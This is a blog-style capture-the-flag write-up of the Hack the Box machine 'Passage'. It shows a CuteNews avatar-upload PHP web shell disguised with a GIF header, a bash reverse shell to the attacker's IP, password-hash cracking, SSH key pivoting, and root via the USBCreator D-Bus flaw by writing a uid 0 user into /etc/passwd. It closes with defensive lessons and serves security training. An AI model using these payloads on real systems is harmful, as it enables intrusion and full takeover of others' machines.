Hack the Box — Passage

This box was presented at the at the Hack The Box Ottawa October Meetup by David. The presentation has been recorded and will be posted on the Hack the Box Ottawa YouTube channel.

Let’s get started!

Reconnaissance

Run an nmap scan that scans all ports.

sudo nmap -sC -sV -O -p- -oA nmap/nmap 10.10.10.206

We get the following result.

....
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVnCUEEK8NK4naCBGc9im6v6c67d5w/z/i72QIXW9JPJ6bv/rdc45FOdiOSovmWW6onhKbdUje+8NKX1LvHIiotFhc66Jih+AW8aeK6pIsywDxtoUwBcKcaPkVFIiFUZ3UWOsWMi+qYTFGg2DEi3OHHWSMSPzVTh+YIsCzkRCHwcecTBNipHK645LwdaBLESJBUieIwuIh8icoESGaNcirD/DkJjjQ3xKSc4nbMnD7D6C1tIgF9TGZadvQNqMgSmJJRFk/hVeA/PReo4Z+WrWTvPuFiTFr8RW+yY/nHWrG6LfldCUwpz0jj/kDFGUDYHLBEN7nsFZx4boP8+p52D8F
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCdB2wKcMmurynbHuHifOk3OGwNcZ1/7kTJM67u+Cm/6np9tRhyFrjnhcsmydEtLwGiiY5+tUjr2qeTLsrgvzsY=
| 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGRIhMr/zUartoStYphvYD6kVzr7TDo+gIQfS2WwhSBd
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
....

We have two ports open.

  • Port 22: running OpenSSH 7.2p2
  • Port 80: running Apache httpd 2.4.18

Before we move on to enumeration, let’s make some mental notes about the scan results.

  • The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
  • Ports 80 is running a web server, so we’ll perform our standard enumeration techniques on it.

Enumeration

We start off with enumerating HTTP. Visit the application in the browser.

We see that it is powered by CuteNews, which is a free news content management system.

Viewing the links on the page, we see that the admin has implemented Fail2Ban which is is an intrusion prevention software framework that bans IPs that show malicious signs such as brute force attacks. Therefore, brute force attacks should be our last resort.

Next, let’s view the page source. There, we find the domain name is passage.htb and discover a new directory called CuteNews.

Add the domain name in the /etc/hosts file.

10.10.10.206 passage.htb

Then visit the new directory we found.

We find a login page and the exact version of the CuteNews software. Now that we know the software name and version number, let’s see if it has any associated exploits.

searchsploit CuteNews 2.1.2

We get the following result.

Let’s download the remote code execution vulnerability.

searchsploit -m 46698

View the exploit code.

As per the description, there’s a command execution vulnerability in the avatar upload functionality of the profile page. The exploit uses Metasploit, which I try to avoid, so let’s try and do this manually.

Initial Foothold

The exploit requires an ordinary user account on the system. We don’t have one, however, we have the ability to create a user using the Register functionality.

Register the user and click on the Personal options link. Then try and upload the following php script in the avatar field.

rana@kali:~/Desktop/htb/passage/www$ cat avatar.php 
<?php system($_GET['cmd']); ?>

We get an error.

Next, add the magic byte for an image to bypass the type verification filter in the application.

rana@kali:~/Desktop/htb/passage/www$ cat avatar.php 
GIF87a
<?php system($_GET['cmd']); ?>

Upload the file. It works!

Now we need to find a way to call the file. To do that, let’s view the page source to see where the file got stored.

Call the shell and run the whoami command.

We have code execution! Now, let’s get a reverse shell. First, set up a listener on the attack machine.

nc -nlvp 1234

Next, visit pentestmonkey and add the bash reverse shell in the ‘cmd’ parameter (make sure to URL encode it first).

bash -c 'bash -i >& /dev/tcp/10.10.15.87/1234 0>&1'

We get shell!

Let’s upgrade it to a better shell.

python -c 'import pty; pty.spawn("/bin/bash")'

This gives us a partially interactive bash shell. To get a fully interactive shell, background the session (CTRL+ Z) and run the following in your terminal which tells your terminal to pass keyboard shortcuts to the shell.

stty raw -echo

Once that is done, run the command “fg” to bring netcat back to the foreground. Then use the following command to give the shell the ability to clear the screen.

export TERM=xterm

Unfortunately, we’re running as the web daemon user www-data and we don’t have privileges to view the user.txt flag. Therefore, we need to escalate our privileges.

Privilege Escalation

The first thing I do is check the web application files to see if I can get access to a database password. However, in this case, according to the CuteNews documentation, the application uses flat files to store its database. The user information can be found in the following directory.

www-data@passage:/var/www/html/CuteNews/cdata/users$ ls03.php  0f.php  3b.php  5b.php  77.php  99.php  c7.php  df.php  users.txt
08.php 16.php 3e.php 5d.php 7a.php 9d.php c8.php e1.php
09.php 1a.php 43.php 61.php 7f.php a2.php cf.php e4.php
0a.php 1d.php 4c.php 64.php 85.php a8.php d4.php eb.php
0b.php 21.php 52.php 66.php 8f.php b0.php d5.php fc.php
0e.php 32.php 55.php 6e.php 97.php b3.php d6.php lines

Let’s view the first file.

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat 03.php<?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxOiJzIjthOjExOntzOjM6ImJhbiI7czoxOiIwIjtzOjI6ImlkIjtzOjEwOiIxNjAxNzMzMDY1IjtzOjQ6Im5hbWUiO3M6MToicyI7czozOiJhY2wiO3M6MToiNCI7czo1OiJlbWFpbCI7czoxMToic0BnbWFpbC5jb20iO3M6NDoibmljayI7czoxOiJzIjtzOjQ6InBhc3MiO3M6NjQ6IjQwZmZiMjAyZWM3MjZjNTQyOTlmZjAxZmNkN2M5ZjcwNDA0NmIwY2UwMjllNTI4MmI1YjA0ODcwMDFjYWIwYjEiO3M6MzoibHRzIjtzOjEwOiIxNjAxNzMzMTQyIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czo2OiJhdmF0YXIiO3M6MTY6ImF2YXRhcl9zX3BlYXMuc2giO3M6NjoiZS1oaWRlIjtzOjA6IiI7fX19

The beginning of the file contains php code that prevents direct access to the file. The remaining file content is base64 encoded. Let’s decode it.

rana@kali:~$ echo "YToxOntzOjQ6Im......" | base64 -da:1:{s:4:"name";a:1:{s:1:"s";a:11:{s:3:"ban";s:1:"0";s:2:"id";s:10:"1601733065";s:4:"name";s:1:"s";s:3:"acl";s:1:"4";s:5:"email";s:11:"s@gmail.com";s:4:"nick";s:1:"s";s:4:"pass";s:64:"40ffb202ec726c54299ff01fcd7c9f704046b0ce029e5282b5b0487001cab0b1";s:3:"lts";s:10:"1601733142";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:6:"avatar";s:16:"avatar_s_peas.sh";s:6:"e-hide";s:0:"";}}}base64: invalid input

We see that the “pass” field contains a hashed password. We’ll use the hash-identifier program to determine the hashing algorithm.

They’re using SHA-256. There’s a bunch of users on the system. We’re interested in either getting the paul or the nadav user since they are users on the system.

www-data@passage:/home$ ls
nadav paul

However, we have a bunch of files and therefore, we need to automate this task. The below command loops through all the files in the current directory, prints the filename, then removes the php code in each file, base64 decodes the file and only outputs files that have the string “paul” in them.

for filename in $(ls); do echo "***********Filename: $filename"; cat $filename | grep -v "php" | base64 -d | grep "paul"; done;

We get a hit on file b0.php.

...
***********Filename: b0.php
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1601728482";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
...

Let’s enter the hash in CrackStation. We get a hit! The password is “atlanta1”.

Most users reuse passwords, therefore, let’s try switching to the paul user using the password we cracked.

www-data@passage:/$ su paul
Password:
paul@passage:/$ whoami
paul

We’ve successfully escalated privileges to the paul user! Grab the user.txt flag.

Now we’re running within a different user context, so let’s enumerate the files that this user has access to. We find a .ssh directory that contains a public and private key.

Viewing the public key, we see that it actually belongs to the nadav user, which means that the corresponding private key is to access the nadav user account over SSH.

Output the key and save it in a file called id_rsa on the attack machine. Then restrict the permissions on the file.

chmod 700 id_rsa

Use the private key to SSH into the nadav user account.

ssh -i id_rsa nadav@10.10.10.206

We have successfully horizontally escalated privileges to the nadav user.

The final step is to escalate privileges to root. We’re once again running in the context of a different user, so let’s enumerate the files that this user has access to. We don’t find anything useful.

Next, let’s print the group and user information for the nadav user.

nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

The user is part of the sudo group. However, we don’t have the user’s password and therefore we can’t tell what sudo privileges he has. Next, let’s enumerate the processes that are running with root privileges.

nadav@passage:~$ ps aux | grep "root"
...
root 2285 0.0 0.4 235548 20004 ? Sl Oct02 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
...

The above process could potentially be interesting because previous versions of Ubuntu were vulnerable to a privilege escalation vulnerability in the USBCreator D-Bus interface as mentioned in this blog:

A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root — without supplying a password. This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root. The issue was resolved in June when Ubuntu patched the relevant packages in response to a vulnerability disclosure from Unit 42.

The Ubuntu version affected was Ubuntu 16.04. Let’s check the Ubuntu version that is installed on the machine.

nadav@passage:~$ uname -a
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Perfect! We also know that the nadav user is part of the sudoer group and therefore, we can use this vulnerability to escalate privileges to root. As described in the blog, the vulnerability allows us to overwrite arbitrary files. This makes it trivial to escalate privileges. The method we’re going to use is adding a privileged user with a password to the /etc/passwd file.

The /etc/passwd file historically contained user password hashes. For backwards compatibility, if the second field of a user row in /etc/passwd contains a password hash, it takes precedent over the hash in /etc/shadow. Therefore, we can create a new user and assign them the root user ID (0) giving the user root privileges.

First, generate a password hash for the password “root” using openssl on the attack machine.

openssl passwd "root"
SyGQKwBH.33Ss

Next, output the content of the /etc/passwd file and save it in a file called passwd in the /home/nadav directory. Then add the following entry to the passwd file.

echo "root2:SyGQKwBH.33Ss:0:0:root:/root:/bin/bash" >> passwd

Now, we’ll use the vulnerability to replace the passwd file in the /etc directory with the one in the /nadav directory.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/passwd /etc/passwd true

Confirm that the new root user was properly added.

nadav@passage:~$ cat /etc/passwd | grep root2
root2:SyGQKwBH.33Ss:0:0:root:/root:/bin/bash

Perfect! If we su into root2 with the set password, we should have root privileges.

nadav@passage:~$ su root2
Password:
root@passage:/home/nadav# id
uid=0(root) gid=0(root) groups=0(root)

As seen in the above listing, we were able to switch into the root2 user who has root privileges. Grab the root.txt flag.

Lessons Learned

To gain an initial foothold on the system, we exploited one vulnerability.

  1. A known RCE vulnerability in the CuteNews software. The application had an insecure avatar upload functionality that allowed a user to upload a malicious file. We used this vulnerability to upload a PHP reverse shell that gave us an initial hold on the box. This was caused because of the lack of input validation on the avatar field. Proper input validation checks should be put in place on all user input.

To escalate privileges to root we exploited four vulnerabilities.

  1. Weak login credentials. Once we had access to the box, we viewed the files that contained the application’s user credentials. Although the credentials are hashed, the paul user had used a weak password and therefore, we were able to crack the password in a matter of seconds. To avoid this, the application developers should enforce strong password policies on users and use a salt when hashing users’ passwords.
  2. Reuse of credentials. The paul user had used the same credentials for both accessing the CuteNews web application and his system account. Therefore, we were able to escalate privileges to paul by reusing the web application credentials we cracked. Users should not reuse credentials and security awareness should be given to users on password management best practices.
  3. Insecure configuration. Now that we had access to the paul user account, we enumerated the filesystem and found the SSH credentials of the nadav user in paul’s home directory and paul owned these files. This allowed us to pivot (escalate privileges horizontally) to the nadav user. The SSH credentials should have obviously been in the nadav home directory and should have been restricted to the nadav user only.
  4. Unpatched system. The nadav user was part of the sudoers group and the system was running a version of USBCreator D-Bus that is vulnerable to a privilege escalation vulnerability by users who are part of the sudoers group. Therefore, we used this vulnerability to add a user to the /etc/passwd file with root privileges. The system should have been patched to the most up-to-date version.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store